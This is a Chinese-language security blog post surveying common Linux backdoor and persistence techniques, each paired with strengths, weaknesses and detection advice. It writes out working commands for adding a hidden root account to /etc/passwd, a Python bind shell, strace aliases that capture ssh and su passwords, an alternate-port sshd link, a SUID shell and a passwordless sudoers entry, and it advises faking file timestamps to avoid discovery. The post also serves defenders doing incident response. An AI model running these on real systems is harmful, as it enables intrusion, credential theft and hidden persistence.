linux常見backdoor技術
VSole2021-09-02 07:33:03

- 最近遇到一些和后門相關的技術,所以把之前linux backdoor相關筆記重新學習和整理了一下。在這里做一下記錄,后續有時間整理一下windows backdoor方面的技術。
- 在服務器被入侵后進行應急響應無非通過文件排查、網絡排查、進程排查、系統信息排查等方法進行入侵排查。下面就一些常見留后門技巧以及公開的工具進行剖析介紹。
- 現在有一些公司在發現入侵之后直接重裝系統,那么基本所有的后門就無法發揮權限維持的作用了,但作為一個安全從業人員還是需要對一些后門有一個基本的了解。
常見技巧
添加root權限后門用戶
- /etc/passwd這個文件包含了系統所有的用戶名、ID、登錄的shell等信息,這個文件是以分號分隔開的,依次是登錄名、密碼、用戶ID、組ID,用戶名、用戶的根目錄以及登錄的shell,其中密碼處可以是x(代表加密,存放在/etc/shadow文件中),也可以直接是加密后的密文,此外用戶uid為0代表用戶會是root的權限,這個時候我們的目標就是在這個文件中追加一條,一個帶有密文且id為0的賬號。
- 關于密碼加密我們可以使用下面的命令
#密碼M0rk
xxx@ubuntu:~/Desktop$ perl -e 'print crypt("M0rk", "AA"). ""'
AAhmo1jgYI0HE
- 所以我們最終想要在passwd文件中的條目是這個樣子的
backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash
- append the backdoor to passwd file
echo "backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash">>/etc/passwd

- 注意當我們擁有一個命令執行漏洞或寫文件漏洞且為root權限,這個時候就可以通過這種方法直接添加用戶。且sshd需要允許root用戶遠程登錄,PermitRootLogin yes
- 另外需要注意的是修改完文件之后記得修改一下文件的時間戳,防止被發現,可以使用touch命令進行偽造
- 參考鏈接(https://stackoverflow.com/questions/40630695/linux-modify-file-modify-access-change-time)
- 優點:簡單
- 缺點:易被檢測到
- 排查:檢查/etc/passwd文件是否有異常
vim后門
#enter the mal script directory 、execute the script and then remove the script cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
- 此方法適用于安裝了vim且安裝了python擴展(絕大版本默認安裝)的linux系統,至于惡意腳本dir.py的內容可以是任何功能的后門。如python版本的正向后門監聽11端口。
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)

- 優點:通過查看/proc/
pid/cmdline查看不到具體執行了什么命令或惡意腳本。 - 缺點:仍可以看到有vim進程
- 排查:檢測對應vim進程號虛擬目錄的map文件是否有python字眼。

- 參考文章Weapons of Text Destruction.(https://github.com/archcloudlabs/WOTD/blob/master/%5BDARK%5D%20Weapons%20of%20%20Text%20Destruction.pdf)
終端解析\r導致的問題
echo -e "\r||< ';?>" >/var/www/html/test.php


- 優點:通過終端命令例如cat、more等命令查看不到惡意代碼,適合隱藏一句話木馬等。
- 缺點:易被檢測,只是通過終端命令查看的時候看不到惡意代碼,而通過其它讀文件操作或者通過vim等工具進行編輯查看的時候仍可以查看到惡意代碼。
- 排查:使用編輯器或者一般的webshell掃描工具即可檢測。
命令過長導致截斷的問題
- 在使用ps進行進程查看的時候,不知道有沒有人注意到這樣一個問題,命令很長被截斷,終端顯示有時候為了美觀,可能會截斷較長的命令,比如在使用docker ps -a查看container的時候,可能你的command列會顯示不全,那么使用docker ps -a --no-trunc讓其顯示完全。同樣在使用ps命令查看進程的時候,也存在這種問題。可以在其填充大量的空格進行截斷,那么就可達到“進程隱藏”的效果。

- 其中使用了xhide工具github地址(https://github.com/chenkaie/junkcode/blob/master/xhide.c)進行進程名的修改。
- 優點:簡單
- 缺點:易被檢測到
- 排查:通過ps -aux|grep 可疑進程的pid 即可顯示完全,或者使用ps aux | less -+S、ps aux | cat或ps aux | most -w等命令進行查看。
- 這只是進程隱藏的一種方式,此外還有一些其他比較好的進程隱藏的方式,比如掛載覆蓋型的進程隱藏,參考
- 聊一聊Linux下進程隱藏的常見手法及偵測手段(https://www.anquanke.com/post/id/160843)
- 反入侵之發現后門利用mount-bind將進程和端口信息隱匿(https://cloud.tencent.com/developer/article/1047347)
strace記錄ssh登錄密碼
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \ -e read,write,connect -s2048 ssh' 也可記錄 su密碼 alias su='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \ -e read,write,connect -s2048 su'

- 優點:改動較小
- 缺點:易被檢測到
- 排查:通過排查shell的配置文件或者alias命令即可發現,例如~/.bashrc和~/.bash_profile文件查看是否有惡意的alias問題。(注意bash_profile是在登錄的shell執行的,bashrc是在非登錄的shell執行,即如果你只是想每次在登錄的時候讓它去執行,這個時候你可以把你的命令寫在.bash_profile,如果你想每次打開一個新的終端的時候都去執行,那么應該把命令寫在.bashrc中)。
常見ssh后門
- 一種是建立sshd的軟連接方法,開啟其它的端口例如
ln -sf /usr/sbin/sshd /home/su /home/su -oport=2222
- 優點:簡單
- 缺點:易被檢測到
- 排查:使用netstat -antlp查看可疑端口,然后ls -l 可執行文件即可。

- 第二種是通過在openssh源碼中插入惡意代碼重新編譯并替換原有sshd文件。插入的惡意代碼可以是將登錄成功的用戶密碼發送到遠程服務器或者記錄到某個log文件中。
- 優點:隱蔽性較好
- 缺點:暫無
- 排查:這種sshd后門一般可能會有一定的特征,可以通過strings sshd |grep '[1-9]{1,3}.[1-9]{1,3}.'或者通過strace 查看是否有可疑的寫文件操作。
- 還有第三種就是創建authorized_keys 實現免密碼登錄的后門,在本地生成公私鑰對,然后將公鑰寫入服務器的authorized_keys文件中,客戶端使用私鑰進行登錄。
- 優點:簡單
- 缺點:暫無
- 排查:查看linux所有用戶.ssh 目錄下是否存在authroieze_keys文件以及文件中的內容
定時任務和開機啟動項
- 一般的挖礦木馬喜歡設置定時任務來進行駐留或進行分時段的挖礦。

- 排查:一般通過crontab -l命令即可檢測到定時任務后門。不同的linux發行版可能查看開機啟動項的文件不大相同,Debian系linux系統一般是通過查看/etc/init.d目錄有無最近修改和異常的開機啟動項。而Redhat系的linux系統一般是查看/etc/rc.d/init.d或者/etc/systemd/system等目錄。

預加載型動態鏈接庫后門 ld.so.preload
- 可能有些人不太了解,簡單說一下,就是我們在linux下執行某個可執行文件之前,系統會預先加載用戶定義的動態鏈接庫的一種技術,這個技術可以重寫系統的庫函數,導致發生Hijack。

- 如上圖所示,strace 命令id的時候可以發現有預先去讀取/etc/ld.so.preload文件(也可使用設置LD_PRELAOD環境變量方式),如果我們將事先寫好的惡意so文件位置寫入ld.so.preload文件,這個時候就會達到“劫持”的效果。
- 比較好用的工具有Vegile和cub3等
- Vegile(https://github.com/Screetsec/Vegile/blob/master/Vegile#L112)
- cub3(https://github.com/mempodippy/cub3),這個工具使用了LD_PRELOAD和系統的擴展屬性去隱藏文件。
- 更多參考:
- Linux文件系統擴展屬性
- 其中還有一種是通過修改動態鏈接器來加載惡意動態鏈接庫的后門,通過替換或者修改動態鏈接器中的默認預加載配置文件/etc/ld.so.preload路徑的rootkit,此方法更加隱蔽,這個方法的較成熟的利用工具是Vlany,github地址https://github.com/mempodippy/vlany
- 警惕利用Linux預加載型惡意動態鏈接庫的后門(https://www.freebuf.com/column/162604.html)
- 優點:可以隱藏文件、網絡、進程等。相對于普通用戶空間rootkit而言,隱藏性較好,相對于內核模塊rootkit來說,兼容性更好,編寫難道低
- 缺點:暫無
- 排查:通過strace命令去跟蹤預加載的文件是否為/etc/ld.so.preload,以及文件中是否有異常的動態鏈接庫。以及檢查是否設置LD_PRELOAD環境變量等。注意:在進行應急響應的時候有可能系統命令被替換或者關鍵系統函數被劫持(例如通過預加載型動態鏈接庫后門),導致系統命令執行不正常,這個時候可以下載busybox。下載編譯好的對應平臺版本的busybox,或者下載源碼進行編譯通過U盤拷貝到系統上,因為busybox是靜態編譯的,不依賴于系統的動態鏈接庫,busybox的使用類似如下 busybox ls,busybox ps -a。
提權后門
*有時候我們需要放一個suid后門來輔助我們提權,比如 cp /bin/bash /bin/nf & chmod +s /bin/nf,這樣我們拿到一個普通權限的shell之后可以通過執行 /bin/nf 提升自己的權限為root
*此外還可以通過將某個普通用戶添加到sudoers來提權,例如jenkins ALL=(ALL) NOPASSWD: ALL
- 排查:suid后門查找 find / -perm -4000 ,sudo后門檢查 cat/etc/sudoers
- ### 進程注入
- 使用ptrace向進程中注入惡意so文件工具linux-inject,github地址(https://www.freebuf.com/column/162604.html)


內核級rootkit
- 內核級的rootkit也很多,這里簡單推薦一個Diamorphine

github地址(https://github.com/m0nad/Diamorphine)
- 優點:隱藏性較好
- 缺點:編寫難度有點兒高
- 排查:可以通過unhide等工具進行排查

其他
- 以上介紹了幾種backdoor的技巧也只是冰山一角,這里拋磚引玉,希望有更多人分享自己的經驗和奇淫技巧,筆者水平有限,文中定有不足之處,還望各位斧正。Write your own backdoor and MAKE BACKDOOR GREAT AGAIN :D
VSole
網絡安全專家